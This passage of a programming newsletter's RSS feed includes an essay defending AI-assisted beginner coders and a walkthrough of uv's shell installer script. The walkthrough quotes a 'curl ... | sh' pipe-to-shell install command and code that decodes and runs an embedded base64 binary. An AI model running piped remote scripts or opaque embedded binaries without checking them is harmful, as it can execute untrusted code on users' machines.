group all things related to profiling in Python, such as cProfile (aliased to <code>tracing</code>) and the new statistical sampling profiler previously named "tachyon" (renamed <code>sampling</code>). If none of that makes sense to you, don't worry, it's mostly to keep imports neat and tidy. Careful, it does come with deprecation of the old imports over 2 years.</p></li><li><p>If you want download stats for packages on PyPI, you go to <a href="https://pypistats.org/">Pypistats</a>. <a href="https://pyfound.blogspot.com/2025/08/pypistats-org-is-now-operated-by-the-psf.html?m=1">And it's now operated by the PSF</a>, to keep it running forever.</p></li><li><p>Google <a href="https://pydevtools.com/blog/google-sunsets-pytype-the-end-of-an-era-for-python-type-checking/">sunsets pytype</a>, its Python type checker project. You know the joke about Google canceling projects, right?</p></li></ul><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Like Google, one day I&#8217;ll cancel this newsletter. But until this day, you&#8217;ll get new articles in your mail box if you subscribe.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[The kids are alright]]></title><description><![CDATA[How can one without Git, swallow so many bytes?]]></description><link>https://www.bitecode.dev/p/the-kids-are-alright</link><guid isPermaLink="false">https://www.bitecode.dev/p/the-kids-are-alright</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sat, 23 Aug 2025 09:36:15 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c635d341-f3f9-466e-be0a-994534f49b41_853x1280.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em>Vibes coding is fine. And yes, the kids suck, but so did we. Let's appreciate we got new players entering the game, and focus on what's really important: improving safety nets.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Look how bad they are</strong></h2><p>Welp, Armin Ronacher wrote "<a href="https://lucumr.pocoo.org/2025/7/20/the-next-generation/">Welcoming The Next Generation of Programmers</a>" before I had the chance, so I deleted my draft and figured out what else I could say on the matter.</p><p>Then I wrote this instead.</p><p>It has become fashionable to call out AI as being the harbinger of the end of time for code quality, especially for the new people joining in.</p><p>I see currently established devs mocking all mistakes made by the young ones:</p><ul><li><p>Ha, that one is discovering the need for version control!</p></li><li><p>Look at those security holes!</p></li><li><p>This code is atrocious, and you don't know what it does!</p></li></ul><p>People, let's be real for a minute. I've done all similar stupid things on my very own, and way worse, before it was cool to blame it on LLM.</p><p>Have old geeks forgotten how much they sucked when they started?</p><h2><strong>Bad code</strong></h2><p>Maybe you were surrounded by geniuses when you began learning to program, but I certainly was not.</p><p>We were bad.</p><p>Scratch that.</p><p>We were terrible.</p><p>The logic was faulty, the style was awful, the technical choices were all over the place, the tooling was lacking, and the general understanding of what we were doing akin to a chicken with a Rubik's Cube.</p><p>My bugs had bugs, I struggled to get the concept of logging (on which I wrote my university memoir!), I invested a colossal time trying to configure SciTE just right, and installing PhPMyAdmin was my idea of being a great hacker.</p><p>Why would it be any different today?</p><p>Is that because kids are overconfident since they can get a demo up in 5 minutes using Cursor? Suddenly, that justifies the need to smash their head back down to the ground... for being kids?</p><p>Arrogant know-it-all nerds were not in short supply in my time either. I should know, I was one. Still am in my spare time.</p><p>AI has nothing to do with this.</p><p>It has nothing to do with the fact they suck.</p><p>It has nothing to do with the fact they are annoyingly and naively optimistic.</p><p>It has everything to do with the fact they are kids.</p><p>And they are kids in the open. Let's celebrate that! It's the new generation showing they want to play!</p><h2><strong>Old news</strong></h2><p>Sure, it's frustrating to see a twenty-something claiming they discovered a revolutionary concept when in fact it's been the industry standard for decades.</p><p>They lose their work, then will tweet they now zip it with timestamps so that they can go back if their agent messes up everything. And someone sarcastically says soon they will invent SVN.</p><p>They introduce problems, and they will make a TikTok stating they will now write some code that will automatically verify that their software works in the future. Surely, there is mumbling about unit tests in the room.</p><p>Then again, with variable names, refactoring, side effects, the cost of the cloud, complexity being bad, and so on, and so on.</p><p>Ah, those dumb kids with their AI! Don't they know we've had this figured out forever?</p><p>No, they don't. That's the point of learning.</p><p>None of us knew, and we all learned either with IRL <code>try</code>/<code>except</code> or mentoring. But to be honest, even with mentoring, you need the trial and error.</p><p>I called a recursive <code>unlink(&#8220;/&#8221;)</code> on a script run as root on a prod server. I wrote a state machine out of ORM classes, using table inheritance to encode the states. I forced pushed an empty commit on master. I wrote an entire object system to represent if/else conditions. I reinstalled from scratch my machine with a new distro on the first day of a 48h Hackathon.</p><p>I once wrote a bot to send love messages to my GF while I would be in a no-electronic retreat. It had a flaw that made it send the same message 140 000 times over 10 days, and she hated me for a month.</p><p>Again, what's with all the hate lately?</p><p>The community is usually so supportive of experimentation, trying things out, and building while helping each other.</p><p>But as soon as AI is involved, it's like a black stain on whatever you do. You build? You are a great kid. You build with the help of AI? Everything you do suck, and you are a terrible human being.</p><p>None of the mistakes the kids are making today are remotely linked to AI.</p><p>Of course, the AI may now suggest many of those mistakes to them, and at a faster rate. But they would have come out with their own anyway.</p><p>In fact, they will make fewer mistakes with a good agent on their side; it is something I have been consistently witnessing for the last 2 years with beginners. They are <em>better</em> than I used to be at their age.</p><p>Plus, even if you don't believe that, AI will make the feedback cycle shorter, which means they will hit the mistakes quickly and reach the learning moment sooner.</p><p>Scared of them diving too deep because AI will give them too much rope to hang themselves, and they will be crawling in generated code-mud by the time they realize there is a problem?</p><p>Who cares?</p><p>It's also a learning experience. They HAVE to feel the pain to learn. There is no alternative to that.</p><p>After all, how did we learned that needless code complexity, piles of tech debt, and over-engineering were a problem? The same way, except instead of an AI building it in a month over a non-critical project, we inherited the production system from 10 years of monkey coding from our colleagues. Or worse, from a sweat chop on the other side of the world.</p><p>I think their situation is better, actually.</p><h2><strong>This battle has been lost before</strong></h2><p><a href="https://www.bitecode.dev/p/hype-cycles">History rhymes</a>, right? Because I heard this one before.</p><p>I heard it when Stackoverflow became a thing, and we blamed those young devs copy/pasting from it. They didn't use their brain, didn't understand the code, and were going to bring doom to our whole industry.</p><p>I heard it when package managers became a thing, and we claimed those damn youngsters didn't know their dependencies, relied on black box, reached for Rube Goldberg frameworks and will end IT as we know it.</p><p>I heard it when Google became a thing, and we screamed those lazy apocryphal 56K-deniers didn't read the doc anymore, just fetched snippets on random unreliable blogs and couldn't be bothered to look at the damn source code. This surely will be the end of computing.</p><p>I heard it when simple dynamic languages became a thing, and we lamented those weak-minded-mouse-clickers didn't know how CPU worked, wasted full megabytes of memory, and wrote sluggish programs that couldn't even make a single manual system call. That's it. It's over.</p><p>But you know what all of those instances also had in common? If you point out to the critics they have been repeating the same stuff that the previous gen said about them, they will reply:</p><blockquote><p>Yeah, but this times it's different, because...</p></blockquote><h2><strong>Vibe coding</strong></h2><p>We have all been vibe coding forever. Let's stop pretending this is some kind of awful practice only the sinful zoomers indulge in.</p><p>We called it having fun, making an MVP, exploratory programming, hacking, trying things out, learning, seeing what's up, quick and dirty, whipping up something, fooling around, building a PoC (that will actually end up in prod for 10 years)... So basically 99% of all coding being done in the world.</p><p>I believe some of my clients call that being agile.</p><p>If one thinks putting a large language model in there makes it fundamentally different, this is just a huge blind spot. Those tools are simply the logical conclusions of automation in a field where automation is the main thing. It's more of the same.</p><p>"But it's not reliable!"</p><p>Yes, so?</p><p>Humans are not. Google searches are not. Hell, computers are not. There is no such thing as a pure function.</p><p>&#8220;But they don't look at the code&#8221;</p><p>They will. Just later on in their project timeline, when they will hit a wall. Or they will be filtered out of the dev pool. Just like before.</p><p>It's more of the same. Just bigger. Faster. Fuzzier.</p><p>And if the author of Flask and Redis can make it work for them, I think we all can.</p><h2><strong>Less talk, more work</strong></h2><p>All this commotion prevents us from focusing our efforts on what's important: making this inevitable transition much more comfortable for us.</p><p>If you think this is a fad, that this will go away, that AI will prove not to be that useful after all, there is nothing I can do for you. You can stop reading here. In fact, you can ban this blog at the DNS level because we both understand life in a fundamentally incompatible way.</p><p>However, if you have come to the realization that this is our reality now, and that it's just the beginning, we have work to do, you and I.</p><p>Because AI magnifies all the human traits, creativity and laziness, curiosity and tunnel vision, enthusiasm and apathy.</p><p>The benefits will flow by themselves; there is nothing to do but welcome them. And open our arms to the new generation of coders that will both create the software of tomorrow, invent new ways of working, and teach us how to do so.</p><p>The problems, however we have to actively deal with.</p><p>I jested about dynamic languages, Google, package managers, and StackOverflow affecting code quality; but we did, actually, paid a price for those.</p><p>We did have many vulnerable Worldpress instances, we did have the <a href="https://en.wikipedia.org/wiki/Npm_left-pad_incident">LeftPad story</a>, and I'm sure many of us can recall crap being uploaded on some FTP on a Friday night.</p><p>AI will undoubtedly increase the volume on which it's possible to <a href="https://www.bitecode.dev/p/the-hiring-test-that-defeated-ai">fake job test proficiency</a>, <a href="https://www.theregister.com/2025/05/07/curl_ai_bug_reports/">create wasteful bug reports</a>, and <a href="https://www.phoronix.com/news/Linux-Kernel-AI-Docs-Rules">push bad contributions</a>.</p><p>It's now more important than ever to assign persons to responsibilities, with real cost and consequences for them, and give them the tools and resources to manage it. Skin in the game and put your money where your mouth is, so to speak.</p><p>Vibe coding is fine. Pushing code of dubious quality to a production system, however, must be harshly discouraged, even more than we used to. I'm stricter about code reviews, tests, and punishing irresponsible moves than I was before with my client's team.</p><p>Because it&#8217;s so tempting, it&#8217;s so easy to do. <a href="https://www.bitecode.dev/p/how-much-effort-is-it-to-create-software">Programming is hard</a>, and humans are like water, taking the path of least resistance.</p><p>That's the irony about the productivity we gain from AI. It must be reinvested in improving our safety nets. <strong>As the cost to produce code goes down, the cost to vet code must go up. </strong></p><p>Because it's the dirty little secret of our job, isn't it?</p><p>It's not really about the code. </p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">No AI has been harmed during the writing of this post. Can&#8217;t be sure about the kids, though. I you want to see for yourself, you really should subscribe.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Just a nice shell script]]></title><description><![CDATA[Which you could use to install just. Just saying.]]></description><link>https://www.bitecode.dev/p/just-a-nice-shell-script</link><guid isPermaLink="false">https://www.bitecode.dev/p/just-a-nice-shell-script</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Tue, 12 Aug 2025 22:32:57 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/87d0e295-d7ad-4014-84f5-2d09476d50b4_1024x1536.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Summary</h2><p><em>Despite all its flaws, </em><code>curl -LsSf | sh</code><em> is still a popular method to install dev tools, and those installer scripts pack a punch!</em></p><p><em>Today we are going to read a few excerpts from </em><code>uv</code><em>'s, an improved version of what cargo-dist provides out of the box.</em></p><p><em>It got a little bit of everything for everybody: style, drama, humor, heart, twists, and executing a base64 inlined binary for China.</em></p><p><em>Let's gooooooooo!</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2>A fun afternoon</h2><p>I'm toying with the idea of making a quick and dirty UV-based installer for Python CLI programs, and in doing so, I'm having a look at the <code>curl | bash</code> script installers around here.</p><p>In the rust world, <a href="https://github.com/axodotdev/cargo-dist?tab=readme-ov-file">cargo-dist</a> is the de facto tool to produce build artifacts. For convenience, one output it provides is a shell script to fetch the desired executable from Github and put it on your <code>PATH</code>.</p><p>An example of this at work is how you can install <a href="https://docs.astral.sh/ruff/">ruff</a> on both Mac and Linux by running:</p><pre><code><code>curl -LsSf https://astral.sh/ruff/install.sh | sh</code></code></pre><p>(Assuming <code>curl</code> is installed. On debian-based distros, you have to get it first or use <code>wget</code>).</p><p>Of course, you should never, ever run code from the internet without looking at it first; and I certainly didn&#8217;t run countless such commands without checking if the script was sane, only trusting the provider's reputation and integrity for half of my career because that&#8217;s Pareto. </p><p>Unrelated to that, this week, I poured some homemade ice tea, and decided to lazily cruise through the lines of uv&#8217;s curl installer, hoping to catch some wisdom.</p><p>And damn, that's some nice script!</p><h2>Way to start</h2><p>For this article, we'll focus on <a href="https://github.com/astral-sh/uv/releases/latest/download/uv-installer.sh">this particular installer</a> version.</p><p>The rule of thumb when reading a shell script is to sample of few lines at the top to get a feeling of where you are at, then jump to the end to understand where you are going. Good news, this is also, by convention, where you'll find most often all utility functions in the bash world.</p><p>It starts with the usual boilerplate of shebang, the mandatory <code>set -u</code>, the litany of constant declarations and the <a href="https://www.shellcheck.net/">shellcheck</a> policy (if you don't use shellcheck, do).</p><p>But it quickly steps up by noting:</p><pre><code><code># This runs on Unix shells like bash/dash/ksh/zsh. It uses the common `local`

# extension. Note: Most shells limit `local` to 1 var per line, contra bash.</code></code></pre><p>So this tells us they support <code>bash</code>, <code>dash</code>, <code>ksh</code> and <code>zsh</code> and we are in for a lecture on shell compat and defensive programming.</p><p>The first hack is pretty sweet:</p><pre><code><code>has_local() {
    local _has_local
}

has_local 2&gt;/dev/null || alias local=typeset</code></code></pre><p>They are going to use <code>local</code> var declarations, but that doesn't work with some <code>ksh</code> versions, so they make a fake one aliasing <code>typeset</code>. Clever.</p><p>I started giggling right about the <a href="https://github.com/astral-sh/uv/issues/6965#issuecomment-2915796022">Some Linux distributions don't set HOME</a> comment. Somehow, I can feel the horror and the pain that went into discovering this issue and writing those lines:</p><pre><code><code>get_home() {
    if [ -n "${HOME:-}" ]; then
        echo "$HOME"
    elif [ -n "${USER:-}" ]; then
        getent passwd "$USER" | cut -d: -f6
    else
        getent passwd "$(id -un)" | cut -d: -f6
    fi
}</code></code></pre><p>Also, would it be easier to just always use <code>getent passwd "$(id -un)" | cut -d: -f6</code> ? Is it not available on all distros? Is it slow?</p><p>AI can't help you with this, it hallucinates very easily on those matters.</p><p>But that's also how the <a href="https://docs.astral.sh/uv/reference/installer/#unmanaged-installations">UV_UNMANAGED_INSTALL</a> variable was introduced, letting you choose where it's going to be installed manually. So silver linings.</p><h2>This is the end</h2><p>Having read the room, we can now rush to the <code>EOF</code>. We get to the entry point, which is basically making up a <code>main()</code> and calling it by proxying all args to it:</p><pre><code><code>download_binary_and_run_installer "$@" || exit 1</code></code></pre><p>What is it with script languages not having a feature to do this by default? Even in Python we have to <code>if __name__ == "__main__"</code> and at the very least <code>import sys</code>. This is silly, we should have a <code>@main</code> decorator that gives us:</p><pre><code><code>@main() # builtin autocalling the function if in __main__
def _(sys): # instance of the sys module to get sys.args and sys.stderr
    return "Whatever" # passed to sys.exit</code></code></pre><p>And all shell languages should have similar facilities.</p><p>I digress, the sweet part is that it's chock full of utility functions:</p><pre><code><code>say() {
    # print stuff unless -q
}

say_verbose() {
    # don't print unless -v
}

warn() {
    # print stuff preffixed with WARN and in red
}

err() {
     # print stuff preffixed with ERR and in red
}

need_cmd() {
    # run this command, if you can't, the script can't 
    # continue so exit cleanly
}

check_cmd() {
    # so we have that stuff ?
}

assert_nz() {
    # this stuff should really not be empty
}

ensure() {
    # The script can't continue if this command fail,
    # so if it does, exit cleanly
}

ignore() {
    # thisisfine.jpg
}</code></code></pre><p>So we got poor a man's log (a staple of all scripts), Unix cope, and catastrophic error recovery. Simple, clean, efficient. You can do a lot with those.</p><p>And the scripts really need that. Boy, does it need it. Like the main function, <code>download_binary_and_run_installer</code> starts with this jewel of a paranoid insurance policy:</p><pre><code><code>    need_cmd uname
    need_cmd mktemp
    need_cmd chmod
    need_cmd mkdir
    need_cmd rm
    need_cmd tar
    need_cmd grep
    need_cmd cat</code></code></pre><p>Because, you know deep down, somehow, somewhere, some hellish spawn of a distro doesn't have <code>rm</code> just to raise a proud finger at the face of the universe.</p><p>In the same vein, <code>verify_checksum()</code> will not surprise you, but <code>downloader()</code> might break your little heart like it did mine.</p><p>Because I expected it to check if <code>curl</code> is available, and if not, fallback on <code>wget</code>. That's sad, but  the reality is that Red Hat and Debian decided it was perfectly reasonable not to standardize on what downloader to have by default.</p><p>However, I didn't see the <a href="https://github.com/boukendesho/curl-snap/issues/1">Check if we have a broken snap curl</a> snippet coming:</p><pre><code><code>_snap_curl=0
if command -v curl &gt; /dev/null 2&gt;&amp;1; then
  _curl_path=$(command -v curl)
  if echo "$_curl_path" | grep "/snap/" &gt; /dev/null 2&gt;&amp;1; then
&#9;_snap_curl=1
  fi
fi

if check_cmd curl &amp;&amp; [ "$_snap_curl" = "0" ]
then _dld=curl</code></code></pre><p>Basically, if you have <code>curl</code> but it's coming from a snap package (the name is going to be in the path), act like we don't have <code>curl</code>.</p><p>I hate snap. I hate it with a passion. It's always been broken, bloated, and slow. Nobody wants this tech. Canonical should own their mistake, trash this crap and move to providing both <code>.deb</code> and <code>flatpak</code> for everything.</p><p>Sorry, let's move on.</p><p><code>get_architecture</code> is a bit gnarly, but that's to be expected given its job is hard. Apple doesn't make it easy as we can read that "Darwin <code>uname -m</code> can lie due to Rosetta shenanigans." or "Handling i386 compatibility mode in older macOS versions" but, I mean, they also try to accommodate CYGWIN, Solaris, and illumos (the latter has multi-arch userlands!). At some point, no pain, no gain, and they seem to be looking for serious gains.</p><p>I was expecting the "Detect 64-bit linux with 32-bit userland" to be worse, to be honest.</p><p>On the other hand, <code>check_loongarch_uapi</code> is kinda epic! </p><p>Let&#8217;s look at it.</p><h2>The story you never came for</h2><p><a href="https://en.wikipedia.org/wiki/Loongson">Loongson Technology</a> is an interesting name to pop into. It's a Chinese company designing chips, mostly known in the Asian market. They have a strategic role to play for China, as they are the main actor that can create architectures unencumbered by Western IP. This makes it important to the country's tech sovereignty.</p><p>One of their CPU architecture, LoongArch, was shipped in some early commercial Linux distributions with a non-standard, vendor-specific implementation. This is what is referred as "old-world". An official ABI was eventually accepted upstream into the mainline Linux kernel, but it was incompatible with the previous one, here mentioned as "new-world".</p><p>This software only supports the standardized ABI, but to check on which one it runs, it has to do a system call you can't do from a shell.</p><p>The solution?</p><p>To embed an <strong>inlined</strong> full-blown <a href="https://gist.github.com/xen0n/5ee04aaa6cecc5c7794b9a0c3b65fc7f">assembly written executable</a> in base 64, and run that:</p><pre><code><code>    # Minimal Linux/LoongArch UAPI detection, exiting with 0 in case of
    # upstream ("new world") UAPI, and 234 (-EINVAL truncated) in case 
    # of old-world (as deployed on several early commercial Linux 
    # distributions for LoongArch) [...]
    ignore base64 -d &gt; "$_tmp" &lt;&lt;EOF
f0VMRgIBAQAAAAAAAAAAAAIAAgEBAAAAeAAgAAAAAABAAAAAAAAAAAAAAAAAAAAAQQAAAEAAOAAB
AAAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAJAAAAAAAAAAkAAAAAAAAAAAA
AQAAAAAABCiAAwUAFQAGABUAByCAAwsYggMAACsAC3iBAwAAKwAxen0n
EOF
    ignore chmod u+x "$_tmp"
    if [ ! -x "$_tmp" ]; then
        ignore rm "$_tmp"
        return 1
    fi

    "$_tmp"
    local _retval=$?

    ignore rm "$_tmp"
    return "$_retval"</code></code></pre><p>Next time I'll get the stink eye because I inline a PNG into a <code>src</code> tag, I'll send them this.</p><h2>Aiming wide</h2><p>Sometimes, the script is super delicate. For example, the <code>check_for_shadowed_bins</code> is something I rarely see in shell scripts and is quite considerate (it warns you if commands get priority over others in your <code>PATH</code> after the installation is done). The <code>install()</code> function itself assembles a lot of carefully crafted paths (both directory targets and binary import ones). They really care.</p><p>And then, sometimes it just brute force stuff by spraying <code>add_install_dir_to_path</code> liberally so that all supported shells get at least a mention.</p><p>Because geeks can't help themselves, there is an additional attempt at humor in doing so with the aptly named <code>shotgun_install_dir_to_path</code> that does it even with more abandon, for bash. With this one, all config files get the insert, not just the first one.</p><p>The idea is to add the binary installation directory to the <code>PATH</code> in as many files as possible, including, but not limited to: <code>.profile</code>, <code>.bashrc</code>, <code>.bash_profile</code>, <code>.bash_login</code>, <code>.zshrc</code>, <code>.zshenv</code> and all <code>.env.fish</code> files under the sun, in all folders those might exist if we have the permissions to do so.</p><p>You can disable that with <code>NO_MODIFY_PATH</code> and it's idempotent, but it's still pretty funny to read how much hammering is sometimes necessary to ensure something as simple as a command being callable.</p><p>There is also something quite intoxicating about reading the <code>case</code> statement in <code>select_archive_for_arch</code>, <code>aliases_for_binary</code> and <code>json_binary_aliases</code> as they make up for 500 lines of the 2000 of this beauty. Combinatorics are cruel.</p><h2>That's a lot of lemonades</h2><p>I don't enjoy writing shell scripts, not one bit. It's not just the idiosyncrasies of the language and platform, but it's also the fact that you need to do so much stuff manually, every time.</p><p>Like they have only 4 arguments to this script, and yet, to get decent argument parsing, they need to do:</p><pre><code><code>    for arg in "$@"; do
        case "$arg" in
            --help)
                usage
                exit 0
                ;;
            --quiet)
                PRINT_QUIET=1
                ;;
            --verbose)
                PRINT_VERBOSE=1
                ;;
            --no-modify-path)
                say "--no-modify-path has been deprecated; please set UV_NO_MODIFY_PATH=1 in the environment"
                NO_MODIFY_PATH=1
                ;;
            *)
                OPTIND=1
                if [ "${arg%%--*}" = "" ]; then
                    err "unknown option $arg"
                fi
                while getopts :hvq sub_arg "$arg"; do
                    case "$sub_arg" in
                        h)
                            usage
                            exit 0
                            ;;
                        v)
                            PRINT_VERBOSE=1
                            ;;
                        q)
                            PRINT_QUIET=1
                            ;;
                        *)
                            err "unknown option -$OPTARG"
                            ;;
                        esac
                done
                ;;
        esac
    done
</code></code></pre><p>And then proceed to write the whole help text manually in a separate <code>usage()</code> function, that you have to remember to maintain.</p><p>This is so much better:</p><pre><code><code>import sys
import argparse

parser = argparse.ArgumentParser(doc=__doc__)
parser.add_argument('-q', '--quiet', action='store_true' )
parser.add_argument('-v', '--verbose', action='store_true' )
parser.add_argument('--no-modify-path', action='store_true')

args = parser.parse_args()

if args.no_modify_path:
  print("--no-modify-path has been deprecated; please set UV_NO_MODIFY_PATH=1 in the environment", file=sys.stderr)</code></code></pre><p>In fact, the whole script is about 40% shorter in fully typed Python, while being way easier to navigate.</p><p>Don't ask how I know that.</p><p>But the original script will work no matter how many lemons you throw at it, inside a toaster running a hacky port of busybox riding a Chinese proprietary RISC CPU.</p><p>And the beauty of it is, it will let you install <code>uv</code> and therefore, Python, next.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">You can subscribe to this newsletter with curl but honestly, this form is just plain easier.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item></channel></rss>